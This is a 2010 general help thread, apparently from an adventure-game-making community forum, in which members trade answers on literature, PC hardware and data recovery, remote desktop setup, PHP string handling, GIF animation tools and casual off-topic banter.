http://books.google.it/books?id=ve8pAAAAYAAJ&pg=PA272&lpg=PA272&dq=%22i+am+now+beginning%22+laurence+sterne+lines&source=bl&ots=6ME640DrTF&sig=Hqbi58ypQApj1Yjq1pdBsr2Z5BU&hl=it&ei=nJcLTK2ZO9CnOO2e8O0O&sa=X&oi=book_result&ct=result&resnum=1&ved=0CBwQ6AEwAA#v=onepage&q&f=false

Can someone please explain me these pages? I wish my wit was as sharp.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 06 Jun 2010, 13:56
Ok now I think I get it.

Tristram Shandy explains things in a very verbose and odd way.

I think what he is getting at here is the explanation of his life thus far through the previous volumes.. the curves indicate diversions from the 'straight path' where he goes off on a tangent.

some of the loops slant forwards to indicate a brief look into the future on some tangential note before coming back to the present day (in the sense of the narrative anyway)
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Post by: Dualnames on 06 Jun 2010, 13:59
To add more, I think he just says how much he strayed from the path he originally planned to write the book.
I am probably dead wrong.
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Post by: MJL on 07 Jun 2010, 13:22
Is there any way whatsoever to Invert look on Star Wars Battlefront for PS2?
Title: Re: Ask something - We can help.
Post by: MJL on 19 Jun 2010, 02:24
...there is no way to invert it :( Nor in Sith Lords!  >:(

If anyone can audio grab "I made this!" from the end of an X Files episode that would be splendiforous for me :)
Also audio of that classic logo: DIC!
And if anyone has a full version of the shh! Gracie Films logo music to boot... you're a pal :)
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Post by: straydogstrut on 19 Jun 2010, 04:35
Hi Mods,

Let me know if these are suitable:

imadethis.mp3

imadethislong.mp3

graciefilms.mp3

xfilesintro.mp3

xfilesoutro.mp3


DIC Logo - No luck so far, sorry. Unfortunately we don't seem to have any of the films/shorts listed as being produced by DIC (now Cookie Jar Entertainment) (http://en.wikipedia.org/wiki/List_of_Cookie_Jar_Entertainment_programs), so unless you can suggest another film, it's a bit like looking for a needle in a haystack, sorry. But I haven't really looked online yet, so maybe you could get it off YouTube?

Cheers
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Post by: NsMn on 19 Jun 2010, 18:53
What was first, chicken or egg?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 19 Jun 2010, 19:00
The egg.

For a chicken egg to be considered a chicken egg it needs to have a chicken inside it but it does *not* have to be laid by a chicken.

So the first egg which could be considered a chicken egg must have been laid *before* the first chicken since chickens come from eggs.
Title: Re: Ask something - We can help.
Post by: Tuomas on 19 Jun 2010, 19:05
The chicken.

For an egg chicken to be considered an egg chicken it needs to have an egg inside it but it does *not* have to be laid by an egg.

So the first chicken which could be considered an egg chicken must have been laid *before* the first egg since eggs come from chickens.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 19 Jun 2010, 19:06
I think you just proved my point :p
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Post by: Dualnames on 19 Jun 2010, 19:41
The chicken.

The egg is part of the reproduction of the chicken, therefore could not exist without the chicken being there in the first place.
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Post by: IndieBoy on 19 Jun 2010, 19:45
Why do people care?
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Post by: Stupot on 19 Jun 2010, 19:47
Haha Tuomas, you just put me in stitches.  ;D
Title: Re: Ask something - We can help.
Post by: NsMn on 19 Jun 2010, 19:56
I'd say the chicken.


If the egg had been first, it would have been roundhousekicked by Chuck Norris, and we wouldn't have any chickens today.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 19 Jun 2010, 20:23
That's like asking: What was first, human or embryo?
If you think about it, it's basically the same question.
Title: Re: Ask something - We can help.
Post by: Stupot on 19 Jun 2010, 20:27
I'm sure there were other animals that laid eggs long before the chicken was invented.
Title: Re: Ask something - We can help.
Post by: straydogstrut on 19 Jun 2010, 20:33
I'm sure there were other animals that laid eggs long before the chicken was invented.

Lol, I like that: invented. I have visions of Blade Runner-style robotic chickens everywhere..
Title: Re: Ask something - We can help.
Post by: MJL on 20 Jun 2010, 00:29
Hi Mods,

Let me know if these are suitable:Cheers

Great straydogstrut, yes they are perfect - thanks! Awesome little stings for my next disco - if perhaps a tad geeky ;D Thanks for the great quality audio. I can't get videos from YouTube but that's the least of my worries. I have no idea how to get vista to record stereo-mix! And it doesn't handle 16 MIDI channels very well either. I wish I had XP back! Many thanks though. May want to edit those links out! Keep an eye out for [the] suited men [from Fox] following you/me around. Take care  :=

PS. Ahh the DIC logo is pretty rubbish in comparison to those two! I found low quality versions on YouTube but that's all. You may find it at the end of a Real Ghostbusters animation, or Adventure Sonic Hedgehog TV show. But if not do not worry. You've provided plenty. Thanks again!
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Post by: LimpingFish on 20 Jun 2010, 01:25
I have no idea how to get vista to record stereo-mix! And it doesn't handle 16 MIDI channels very well either. I wish I had XP back!

The "What U Hear" or Stereo-Mix option has (some say) been disabled in Vista - up to date installations of Vista, anyhow.

I had the ability, and lately...I' don't. A lot of audio capture programs have ceased working - you can still choose to record from these outputs, but no sound is captured.

The only solution I have found is the latest I-Sound Recorder (http://www.abyssmedia.com/isound7/)  from Abyssmedia. Or you can just connect your Line-out port to your Line-in port and shazam!

You can find out more here (http://www.stereo-mix.com/).
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Post by: straydogstrut on 21 Jun 2010, 12:51
@Mods You're very welcome. I just ripped them off the dvds and chopped them up in Audacity. Other than that, i'm a bit clueless when it comes to sound editing, so i'm glad they turned out okay. I'll edit the links out in a couple of days, just let me know if you need them again.

--

I have a question of my own now. I'm posting here since I suspect this has been asked many, many times before, but I can't find an answer in the forums, sorry, and the search function crashes on me quite frequently=S

I want to know what programs folks would recommend for animating their sprites for showing on the forum? Not worried about in AGS since it handles it anyway, but how do people generate their gifs for competitions etc?

I know there's at least two huge topics on drawing applications and i've been through most of the ones that export gifs already, but i've had issues with each. I would normally use Photoshop > ImageReady i guess, but my computer's away for repair and i'm stuck with the crappy family pc until next week. So I've been trying to find some free alternative, preferably something that has layers and onion-skinning (I don't know how people make sprites without it in MSPaint anyway?)

Two that have come close are GraphicsGale and Pencil, and i've made all my frames in GG, but the free version of GG doesn't do gifs and I can't get the transparent backgrounds to export for some reason. Pencil is nice but a bit rough around the edges and artefacts appear when moving stuff around. I've gone through so many others, i've lost count now.

So, what would people suggest for exporting animations to show on the forum?

Thanks all
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Post by: Jim Reed on 21 Jun 2010, 15:04
Beneton Movie GIF is a lightweight tool for animating gifs that I use. It will auto convert PNG and BMP to GIF and has support for transparency. It's freeware.
(Thanks, NsMn!)
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Post by: Anian on 21 Jun 2010, 17:10
Beneton Movie GIF is a lightweight tool for animating gifs that I use. It will auto convert PNG and BMP to GIF and has support for transparency. It's freeware.
(Thanks, NsMn!)
Hmm, this is cool. Kinda avoids the limitation of the Graphicsgale free version...which is cool legit way of doing stuff.  :)
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Post by: straydogstrut on 21 Jun 2010, 17:12
Awesome Jim, works like a charm. Thanks=)
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Post by: MJL on 22 Jun 2010, 02:17
What I'd like to know is why every country is releasing documents on UFO's except the one country that has supposedly formed an alliance with ET's, the USA. Could it be that they really have and can't afford for people to find out? I'm going with yes, but I'd like to know anyone elses thoughts - especially Americans - how it feels to be outclassed by every other government on such a subject. It seems we're finding more truth and stability on the subject but America hold firm there are no such things as aliens. How long will it really be until the American government become transparent? I feel sorry for you folk, being lied too and treated like morons. A country so willing to be at the forefront of everything & anything yet holding back from the rest of the world the greatest discovery of mankind. It's almost as if the other countries are anticipating a radical rethinking, and also trying to avoid mass riots when the truth does come out. Every day they hold back the evidence is another day the wound grows  :-\

Anyway, Fish - many thanks. Line out to line in...seems so wrong, but I will definitely try it :)
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Post by: GarageGothic on 22 Jun 2010, 02:41
Obviously the aliens told them to keep it secret, Mods. Either that, or those trigger-happy yanks killed the ET's on first contact and are ashamed to admit it. I'd be more interested to hear what credible evidence of extraterrestrial visitations you've found among the materials released by other countries.
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Post by: MJL on 22 Jun 2010, 03:08
For me it's more the fact that other countries have openly collected & openly released UFO files but the US hasn't, and sits on a veil of secrecy about it almost in a childish manner. Not one official document. Although - saying that Bigelow aerospace are now opening up to the possibilities. And for me it's the fact that it's US military personel, astronauts and pilots that make up the majority of credible witnesses but their own government laugh it off in their faces. But other countries don't treat their military, space or pilots like that. It just seems backwards, out-dated and decietful.

I think you have a good point though GG. Cameron was not long ago asked about aliens and he said he would do what he could in his power to find some truths. Obarmy-army was asked the same thing and just joked it off, twice. He likely is in the know and has been advised to play it down.

As for credible evidence, well, you'd need to just look into cases for yourself. After a while you'll see patterns, see consistency in reports and (hopefully) realise there is just no way it can all be crackpot accounts. People who say hicks give all the reports (and should be dismissed because they are hicks) are, well, hicks themselves for thinking that way. About 10% of reports come from people who seem not so intelligent. The other 90% are intelligent sources.

http://en.wikipedia.org/wiki/Valentich_disappearance

Meh, anyway - moot point. I'm not here to try and persuade or whatever. I just feel you're being cheated, and it's a shame for you guys. Something is going on and the rest of the world is opening its eyes to it, but USA isn't. WHY!!!! Grrr  ::)
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Post by: Stupot on 22 Jun 2010, 03:15
What I'd like to know is why every country is releasing documents on UFO's except the one country that has supposedly formed an alliance with ET's, the USA.

Because they're the only country that really knows that ETs are nowhere near Earth.  Because Roswell was a fabrication to keep the public distracted from other activites...  such as, but not exclusive to, staging the Moon Landings in Area 51...

*dons flame-proof suit and hides*
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Post by: MJL on 26 Jun 2010, 00:41
Ahh gay I wish it didn't have to come to this, but, if you can help fund ben jordan 2 movie please PM me.  := Pledge me. It can happen on about $200. Exec producer credits all round 8)
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Post by: InCreator on 26 Jun 2010, 02:05
What I'd like to know is why every country is releasing documents on UFO's except the one country that has supposedly formed an alliance with ET's, the USA.

...Or maybe because that particular country earns billions from UFO myths through literature, games, TV-shows and movies?
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Post by: Anian on 26 Jun 2010, 02:11
...Or maybe because that particular country earns billions from UFO myths through literature, games, TV-shows and movies?
Entertainment industry earning profit from unproven stories, myths and superstitions? Don't be ridiculous.
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Post by: OneDollar on 26 Jun 2010, 20:50
I got a good-spec second hand graphics card from someone who was moving house and didn't want their old computer. It works really well, but when I push it with games like Bioshock and Fallout 3 on high settings I occasionally get a pattern of small single-coloured squares appearing in front of some textures. They disappear again after a split second. I've tried to screenshot them, but either I'm missing them or they're not showing up on screen captures. In Fallout (where I see them more regularly) I think they mainly appear on objects that are nearer to the screen - for example when talking to characters or looking at the PIP boy. They don't seem to cause any problems with the game, no slow downs or crashes and I've played for hours without any problems. They're just an annoying visual glitch.

Anyway, to try and find the problem I had a look at the power requirements of the card, then the output of my power supply. My supply has a max output of 375 Watts, and the card lists its requirements as 450 Watt or greater (with 75 Watt 6-pin PCI-E power connector recommended).

So my questions:

1) Is the lack of power likely to be causing the glitches I mentioned?

2) More importantly, am I or could I be doing any damage to my computer by running the card in combination with this power supply?

The card is an ATI Radeon HD 4850 (by PowerColor if that makes a difference).
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Post by: Calin Leafshade on 26 Jun 2010, 22:33
Yea a lack of power for a graphics card can cause those kinds of issues but I dont think an undersupply of power is damaging to your system.

Other possible causes are overheating (which is a very likely possibility) and memory damage (less likely)
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Post by: GarageGothic on 26 Jun 2010, 22:48
Well, undersupply of power may not damage the system, but I'm pretty sure it could burn the power supply itself. Also a overworked power supply could be causing the overheating. The colored square artifacts are exactly what I got before my old graphics card died - turned out the fan on the card had stopped working. Got it moving again by applying some oil, but after a couple of months something started smelling strange and it turned out the fan had simply melted off it's axle (pro-tip: don't use WD-40 as a replacement for proper fan lubrication).
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Post by: InCreator on 27 Jun 2010, 12:02
@OneDollar

I doubt problem lies in power supply -- sounds either driver or overheating problem. Well, heating CAN come from PSU issues, but it's still somewhat unlikely.

I'd try first to downgrade drivers to last version released while this card was "hot".
It worked well with my GF5700LE when Portal and Medal of Honor had all kinds of glitches on screen, don't know much about ATI cards, because I never bought one.

Overheating is a plausible version too, observe temperature. Also, try all settings on lowest and see if glitch still appears. Or open case, room windows and point ordinary fan at where card is.
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Post by: MJL on 28 Jun 2010, 17:51
Just wondering if anyone has the "My games" section (of your profile) figured, and how it orders the list?

The last few I've worked on have been added at the bottom but the most recent addition is in the middle of the list. It's not alphabetical and doesn't seem to be date related now either, any ideas?

It's not a problem. I just get confused by it :)
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Post by: Ryan Timoothy on 28 Jun 2010, 18:51
I know, you'd think it would sort by ID number, which the lowest numbers would be the oldest releases.  I've also been quite confused by it and I can never rely on it as a correct timestamp.
Although only two games in my profile are in the wrong order of each other.  Yours on the other hand is crazy.
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Post by: OneDollar on 28 Jun 2010, 20:44
Thanks for the responses. I might see if I can borrow a power supply for testing, or maybe try and get a feel for how hot the card and supply are getting when I start pushing them. Overheating is quite possible as the computer's in an attic that gets very hot over the summer (though I've got the windows open whenever my PC is on).

I'm pretty sure it could burn the power supply itself.

Yeah, that's what I'm most concerned about. I suppose if the power supply burns out I'll replace it with one that has enough power. As long as it doesn't short the motherboard and total the computer at the same time :-\
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Post by: MJL on 29 Jun 2010, 14:26
Strange eh Ryan. Another unsolved AGS mystery :)

Anyway, right now I'm looking for An American who's happy to start up a Kickstarter project for me, because with kickstarter you need "a US bank account and address are required to start a project." It's to fund the BJ movie sequel.

It won't take long to set up, I can walk you through it. The main problem will be transferring the money across to me via PayPal, but I will give you a percentage of the pledges to cover any costs and also imburse you for your time.

Please PM me ASAP cos it's pretty urgent!
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Post by: Stupot on 29 Jun 2010, 19:26
Mods, why don't you have a gander here:

http://www.indiegogo.com/

It's a kind of similar concept to Kickstarter, but open to more countries, including the UK.

Looks really useful, and there are some cool projects by the look of things.
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Post by: MJL on 30 Jun 2010, 00:30
Wow, thanks Stupot- never knew there was one that attatched Paypal. It seems to be avading the Kickstarter website like it's some unknown technology.

Still, here's the page :)

http://www.indiegogo.com/Ben-Jordan-2

If it gets anywhere near 250 I will drop it and make that the final pledgeable amount.
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Post by: Rincewind on 30 Jun 2010, 16:21
Arr, I'm in desperate need of some help right now.
I have this song playing in my head that I heard about ten years ago that I would love to find again, but as usual, I don't know who did it or what it's called. All I know is this:

- Musically, I seem to remember it as a mix between an organ/keyboard-melody and a more modern, dance-oriented beat(though still a rather subtle one) Rather repetitive, most likely intended to be a club-hit or something.

- There was also more or less one vocal line repeated constantly throughout the whole thing - If I remember it correctly it was something like "I see you ride o-on a storm / I see you ride o-on a storm / I see you ri-i-ding on a storm", sung in a rather cheesy, crooning, baritone-like voice. I'm not sure if this is sampled from some other song or if this was actually written for this track, though.

- The music video for the song featured an extremely and deliberately kitschy/colorful 50's/60's-styled party in a living room or something similar, with an equally kitschy/campy live-band playing the song in question.

The one time I heard the song and saw the video was through the Swedish tv-show "Mosquito" that aired between 1998 and 2001, and showcased new music/visuals/3D-graphics, so I suppose it's most likely a song made somewhere in between that timeframe. Anyone who has the slightest idea what this song might be, do please tell, because I think I'm going insane from hearing this song play in my head and not being able to find out what it's called...


Woohoo! Finally a friend of mine found the answer to this question that was more or less driving me mad. So I just felt the need to share with you what song I was looking for - It's a dutch dance track called "Ridin'" from 1996 by an act called Doop:
&feature=player_embedded

I have to say it's better than I remember. (and the video is even campier/kitschier than I remember)
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Post by: Stupot on 08 Jul 2010, 03:05
Okay, easy question, but I'm really ignorant in this department.
What's a good, free, video editing software, that will get me a youtube compatible video at the end of it.

I want to take two videos from youtube, and simply rip the audio from one and put it over the top of the other one.

That literally all I want to acheive, and the end result is going to be beautiful, because I've already acheived it by watching one video with the audio of the other video running in the background, and the result nearly brought me to tears.

Cheers.
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Post by: TerranRich on 08 Jul 2010, 03:14
www.tubedubber.com does it for you online, but you can't save it as far as I know.
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Post by: Stupot on 08 Jul 2010, 04:03
Ahh that's a cool site Terran.  But actually I stil want to keep the audio of the original video, but just with the extra audio on top of it.

Basically, it's one of my favourite scenes from one of my favourite TV shows, and playing one of my favourite songs while I watched the scene I was amazed at house they slotted together perfectly... uncannily perfect.  So I want to make it into a single video, and show it off.  Haha, god I'm sad...
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Post by: Virgil on 08 Jul 2010, 04:09
http://www.youtubedoubler.com (http://www.youtubedoubler.com) is your place. Just mute the video you don't want sound on. You'll be watching the second video but it'll work.
Title: Re: Ask something - We can help.
Post by: Mati256 on 08 Jul 2010, 04:26
If you are running windows just try the "Windows Movie Maker".
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Post by: Tuomas on 13 Jul 2010, 12:11
So I'm looking for a couple of games again, I get so nostalgic at times since I no longer have my Amiga 1200 :(

The game had a direct sky view, though, kind of like SimCity originally had. I remember the scenery was rather dull. You were what might have been a different planet, setting your base near a lake of black liquid (oil?) that was used as a resource. You were to build your own roads between the buidings you had, and there'd be traffic also, shown on the roads as moving tiny blocks, just as in Sincity 2000. Basically I first thought it was a strategy game, but I can't remember any fighting/wars in it. Just a terribly hard city-building simulator for a kid like me who, at the time, didn't speak English at all. Anyway, this is really vague, but I'd love to see some screenshots again, maybe read about it and play it. I should mention that to my knowledge, this was not a mainstream game, I remember getting it from a collection CD, we had a lot of those.


Another one was a turn based assault kind of game that reminds me of Fallout. You'd have 4 guys going around a place which I never quite figured out (the game was rather hard). The 4 guys would be far apart to begin with, and you'd move each one in a turn. We'd play it with 2 players, just taking turns with my brother. Each character had a name and a weapon or two, and you'd go around this maze-looking building killing bad guys. Nothin original there. This one was also a view from straight above, so the characters would be more like round balls with a gun stiking out of them, showing which way he's looking. I remember this game had a bug in that there was no weight limit to your inventory, so once it got full you could start stuffing backbags inside one another. You pick up keycards and knives and firearms as you went along... I think. :D The scenery was either post-apocalyptic or a space-one!


Man. Thinking of all these games made me thing of a couple of great games I used to play.

Virus (http://upload.wikimedia.org/wikipedia/en/f/f5/Virus-amiga-screenshot.gif) was a great game.
Elite (http://www.mobygames.com/game/amiga/elite/screenshots) was the first game I ever played with my dad and my sister. One would steer, one would shoot and... I guess one would translate the text to others. My dad was a real gamer back in the 80's.
Then there was this one where you'd go about a huge level with a space ship shooting missile bases and stuff. My sometimes you had to land to pick up stuff, so you'd find a smooth spot on the ground and go on with a smaller vehichle, pick it up and return to the space ship. The game was really hard and huge, I never got through it... I wonder what it was :S
And then there was Gravity Force, but we all know that one. Sorry for getting all nostalgic here :D
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Post by: OneDollar on 13 Jul 2010, 12:39
Another one was a turn based assault kind of game that reminds me of Fallout.
Only thing that comes to mind is Jagged Alliance (http://www.mobygames.com/game/jagged-alliance), though I'm only going on screenshots because I've never played it. Don't know if it was on Amiga though.
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Post by: karja on 13 Jul 2010, 13:32
Another one was a turn based assault kind of game that reminds me of Fallout.

The game that pops up in my mind is Space Crusade (http://www.mobygames.com/game/amiga/space-crusade/screenshots/)

But I cant remeber that you started of far apart though..
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Post by: Stupot on 13 Jul 2010, 14:31
If you are running windows just try the "Windows Movie Maker".

Hehe, well I decided to make it in Movie Maker (the reson I never tried befroe was that for some reason I though Youtube didn't accept WMV format... but it does... so I did...

And the end result was okay, but lasted on Youtube for about 10 seconds before being swiftly blocked for breach of copyright... oops, haha.. still, it was a bit of practice.
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Post by: Mati256 on 13 Jul 2010, 15:01
Yep, they are pretty strict this days.
I used to watch some series there, but now I can't cause they are blocking them for copyright violation.
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Post by: Babar on 13 Jul 2010, 17:56
Things are still blocked for breach of copyright?!
I thought they had eased up now. I had something on youtube for a while, which I had put some commercial music over, and it was "contested" or something. I contested the contest (or whatever), and it was blocked. But now, just recently, it came online again, but has ads.
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Post by: Bulbapuck on 25 Jul 2010, 18:52
I just realised I made a huge mistake.

I was planning to have the votes for the OROW just be a poll I set up. I just realised the downsides of this. (Especially the fact that you can see how the votes are going while the voting is still going on)

I'm really embarressed :-[ Does anybody know of a way to set up a voting system? (Last minute, I know..)

EDIT: Nevermind, Al_Ninio helped me in #ags (Thanks Al :))
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Post by: MJL on 26 Jul 2010, 16:53
Hi folk, I have an emergency issue. I just re-installed Vista onto my c drive and although I didn't choose any format drive options or see it formatting anything, my C drive appears to be completely empty now apart from the new windows install.

Last time I did thisI'm sure it didn't erase everything off the drive, but it is now showing my HD as being practically empty. Is there a way to access an old partition, or have I really done the bad here?

Yours sadly, mods  :'(

who am I kidding, its all gone now isnt it :(
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Post by: Wyz on 26 Jul 2010, 17:05
Ouch! That really sucks. Since vista was installed on that partition it looks like it created a blank partition on top of the existing one and did happily overwrite chunks of the existing data. You can have some luck with disk recovery tools, but there are no guarantees. For the best results, don't touch it! Boot from a different partition or use a live CD. Every time you start from the new partition it will corrupt your old data even further. Good luck! :(
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Post by: Buckethead on 26 Jul 2010, 17:21
Does anyone know of a program that gives a proper alarm when the laptop battery is low? Vista doesn't seem to do anything.
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Post by: MJL on 26 Jul 2010, 17:30
Ouch! That really sucks. Since vista was installed on that partition it looks like it created a blank partition on top of the existing one and did happily overwrite chunks of the existing data. You can have some luck with disk recovery tools, but there are no guarantees. For the best results, don't touch it! Boot from a different partition or use a live CD. Every time you start from the new partition it will corrupt your old data even further. Good luck! :(

Cheers. I've tried a few things, it's definitely not bringing any old material back from that HD. sigh
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Post by: paolo on 26 Jul 2010, 20:49
I'm looking for a module that will allow me to save and restore from my own GUIs. Pablo wrote such a module (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=29566.0) but the links to it have expired.

I'm looking for a "Type a name for savegame"-type module rather than a screenshot-style one (there are a few modules of the latter variety around). Can anyone recommend something suitable? Thanks.
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Post by: Chicky on 26 Jul 2010, 21:11

And the end result was okay, but lasted on Youtube for about 10 seconds before being swiftly blocked for breach of copyright... oops, haha.. still, it was a bit of practice.

That's what you get for messing with Gregory House ;)
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Post by: Dualnames on 27 Jul 2010, 02:10
I'm looking for a module that will allow me to save and restore from my own GUIs. Pablo wrote such a module (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=29566.0) but the links to it have expired.

I'm looking for a "Type a name for savegame"-type module rather than a screenshot-style one (there are a few modules of the latter variety around). Can anyone recommend something suitable? Thanks.


http://www.mediafire.com/?gpb4gvc4b6xzu6b

Here it is. It probably works on AGS 2.72 so make a game there, port the guis,  and port the game to 3.0 to get them into a 3.x.x game.
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Post by: arj0n on 27 Jul 2010, 08:05
Ouch! That really sucks. Since vista was installed on that partition it looks like it created a blank partition on top of the existing one and did happily overwrite chunks of the existing data. You can have some luck with disk recovery tools, but there are no guarantees. For the best results, don't touch it! Boot from a different partition or use a live CD. Every time you start from the new partition it will corrupt your old data even further. Good luck! :(

Cheers. I've tried a few things, it's definitely not bringing any old material back from that HD. sigh
Sorry to say but when [re]installing on a partition, windows cleansweeps it first.
There seems to be no way to get your stuff back that was on that partition...
Title: Re: Ask something - We can help.
Post by: MJL on 27 Jul 2010, 12:54
yup. there is some recovery software but all of them cost money. oh well, fucked up days!
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Post by: Jim Reed on 27 Jul 2010, 13:03
who am I kidding, its all gone now isnt it :(

I get spasms of laughter when reading this line for some reason.

m0ds, look at it from the bright side, you now learned that you should backup data! =P
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Post by: Babar on 27 Jul 2010, 13:04
And to never store data on the Windows (C:) partition.
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Post by: abstauber on 27 Jul 2010, 13:17
yup. there is some recovery software but all of them cost money. oh well, fucked up days!

Nope!

http://www.pcinspector.de/Default.htm?language=1

This one is free :)

Btw. a tool called UFS explorer even works with damaged drives, as long as they are spinning up and detected by the bios.
Well, at least in my case.
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Post by: MJL on 27 Jul 2010, 13:37
Thanks abstauber! I'm trying it. It looks more hopeful than the others! DiskDigger is the only one digging deep enough to find my old files. I have successfully restored one of my video files from my game, LOL but that is it. But that's because that prog is asking for a paid registration before it allows you to save multiple files.

The only major problem for me, for restoring my game (thats the only bother for me ATM) is that these things have allocated filename's to look for (EXE, AVI only etc). I can't for example go looking for my music.VOX, could I? Or will PC Inspector find all filetypes? I have to wait 170 minutes for it to finish it's scan at the moment ;)

Thanks for the link though. Let you know in a bit :)
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Post by: abstauber on 27 Jul 2010, 13:54
yep, that should work. It has a "Special Recovery Function" for common filetypes and I guess PC Inspector is able to re-create the file headers for those files.

But as long as the .vox is undamaged, it should be possible to recover it as well.
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Post by: MJL on 27 Jul 2010, 14:30
Cheers! Hmm, it's giving everything a default size. I'll keep playing. Thanks though absy :)
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Post by: arj0n on 27 Jul 2010, 14:33
I'll keep playing.
"keep praying" you mean  :D
I really hope it works out.
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Post by: paolo on 27 Jul 2010, 17:40
http://www.mediafire.com/?gpb4gvc4b6xzu6b

Here it is. It probably works on AGS 2.72 so make a game there, port the guis,  and port the game to 3.0 to get them into a 3.x.x game.

Thanks, Dualnames, I'll try it out. I forgot to mention that I'm using ye olde 2.72, so hopefully it will work straight out of the box.
Title: Re: Ask something - We can help.
Post by: Anian on 28 Jul 2010, 15:27
Silly question, but I hope somebody will give a realtive simpe anwser: It's about 3d models and normal maps. It's sort of a thing whre I can't find the connection between two things.
- I plan to try out in Mudbox and 3dsmax. For example I make a low poly mesh and I would than paint it and make a high poly mesh in Mudbox (by building upon it, subdividing it in Mudbox and sculpting etc.)
- I plan to use xNormal for making the normal map (it uses a low poly and high poly .obj and then automatically makes a normal map, which is cool and easier than what I've seen done in Max itself)

The question I have is do I have to unwrap the texture for low poly before modeling the high poly model and then again unwrap high poly model after it's finished, cause I don't how the unwrapped stuff will match when it's an image like png, jpg etc. And do I paint only the high poly model so when a normal map is applied, it fits better?
Title: Re: Ask something - We can help.
Post by: Buckethead on 28 Jul 2010, 16:09
You don't ever have to unwrap a highpoly for texture baking. Often a highpoly is made first, then a lowpoly is made based of the highpoly. You then unwrap the lowpoly. But it doesn't really matter when you do this. Just make sure you have it unwrapped when you start baking. Also you are going to want to have as little  UV stretching as possible to get the best results.



Title: Re: Ask something - We can help.
Post by: Anian on 29 Jul 2010, 01:21
You don't ever have to unwrap a highpoly for texture baking. Often a highpoly is made first, then a lowpoly is made based of the highpoly. You then unwrap the lowpoly. But it doesn't really matter when you do this. Just make sure you have it unwrapped when you start baking. Also you are going to want to have as little  UV stretching as possible to get the best results.
Ah, I see. Ok, thank you.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 29 Jul 2010, 16:23
Wasn't there a Module that turned blocking events into non blocking events? Such as when the player is automatically walking up to a character/exit/etc once you click on it, and then the dialog or interaction starts. But you could easily just walk away without it being a blocking event?

I have an idea of exactly how I'd do it, but I'm curious how the person who wrote the module did it, JUST in case my idea isn't as clever.

I swear there was one, but I quickly browsed through the whole Module sub-forum and didn't see a title that suggested it.
Thanks!
Title: Re: Ask something - We can help.
Post by: tzachs on 29 Jul 2010, 17:02
I believe you're referring to this (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=26945.0).
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 29 Jul 2010, 18:13
Oh wow, that's a big scrambled mess of spaghetti. I'll definitely stick with the way I planned on doing it.
Thanks.
Title: Re: Ask something - We can help.
Post by: Khris on 29 Jul 2010, 19:40
Maybe you're thinking of mine? I never started a thread for it.
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36383.msg477380#msg477380

It should also be easy to adjust to your needs.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 29 Jul 2010, 19:58
I believe I was..
Anyway, I've already written it. Didn't take too long and it's not spaghetti code at all. Very easy to do really.

I was mainly just curious how the others were written.  I may even check out yours later, but for now mine works and I'm happy with it. (plus it keeps Zyndikate off my back... har har. :P joking)
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 30 Jul 2010, 19:03
Hey, this is a PHP question.  Let's say for this example, I have a string which is: dude, you're not getting a dell 111506 testing

How could I run through that string so I could check for when numbers start and finish and add a word before and after it? With this example, just pretend I'm adding [number_start] and [number_end]. The value of the numbers is always changing, and there could also be many instances of numbers within the string.

So the modified output would be: dude, you're not getting a dell  [number_start]111506[number_end] testing

Thanks!
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 30 Jul 2010, 19:31
iterate through the string and use is_numeric($var) on each character.

Then you can use substr() to format the string however you like once you have the start and end indices of the number
Title: Re: Ask something - We can help.
Post by: monkey0506 on 31 Jul 2010, 06:26
This is my question: How to remote desktop?

I understand it's not a fully qualified question, and I haven't included any information about either PC, but I just assume anyone who will know the answer will be able to remotely hack into my computers anyway in order to obtain all necessary information. Thanks.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 31 Jul 2010, 07:50
right click My Computer, click Properties, go to the Remote tab and enable "Allow users to connect to this computer"

Click "Select remote users" and add your user (administrator already has access)

open port 3389 on the listening machine (not needed if its on a local LAN obviously)

run / mstsc.exe on the client machine

type the host name/ip of the listening machine into the host box

click connect

Done
Title: Re: Ask something - We can help.
Post by: monkey0506 on 31 Jul 2010, 08:06
It is on a local LAN using a WNR2000 router..there's two physical systems..Windows XP and Windows 7. The 7 machine is also running Windows XP Mode which is Windows XP under Virtual PC. The 7 machine and the XP Mode can see each other on the network..which is good considering they occupy the same physical space.

The problem is that no matter what I do I can't seem to get the XP machine to see either of the other two..or vice versa. The internet connection is shared fine, and I am hardwired via an ethernet cable.

The computers are all set to the same workgroup name, sharing settings are set appropriately, firewall settings have been dealt with..etc.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 31 Jul 2010, 08:08
can they ping each other?
Title: Re: Ask something - We can help.
Post by: monkey0506 on 31 Jul 2010, 08:41
No, they cannot. The ping request times out.
Title: Re: Ask something - We can help.
Post by: TerranRich on 31 Jul 2010, 08:54
Ryan Timothy: Regular expressions are also great for scenarios like that. Something like:

Code: Adventure Game Studio
  1. $new_str = preg_replace('/([^0-9]*?)([0-9]+?)([^0-9]*?)/i', '$1 inserta$2insertb #3', $old_str);
  2.  

I'm sure it can be done way better than that, but it's just an example. Not even sure if it's faster and more efficient than Calin's methods.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 31 Jul 2010, 09:11
Monkey: If they can't ping then you have a fundamental network issue.. try using DHCP on the router and see if that fixes it (since the router will control network allocation and DNS)

TR & RT (:D): I would imagine thaty my method is slightly faster since a regex function will do unnecessary checks for your particular problem but using preg is certainly simpler and cleaner.

In the end I imagine they do exactly the same thing under the hood anyway.
Title: Re: Ask something - We can help.
Post by: monkey0506 on 31 Jul 2010, 09:52
The router is already being used as a DHCP server.
Title: Re: Ask something - We can help.
Post by: Privateer Puddin' on 01 Aug 2010, 15:24
Hello, I want to make a gamercard / stat card thing, you might be familiar with these if you're a console gamer, but I guess there are PC ones too?

Something that shows a gamertag, and some stats from a game.

Here's an example of something I want to do

(http://www.custardsclutter.com/stats.png)

with the data coming from: http://www.eafootballworld.com/en_GB/clubs/742A0001/268044/members

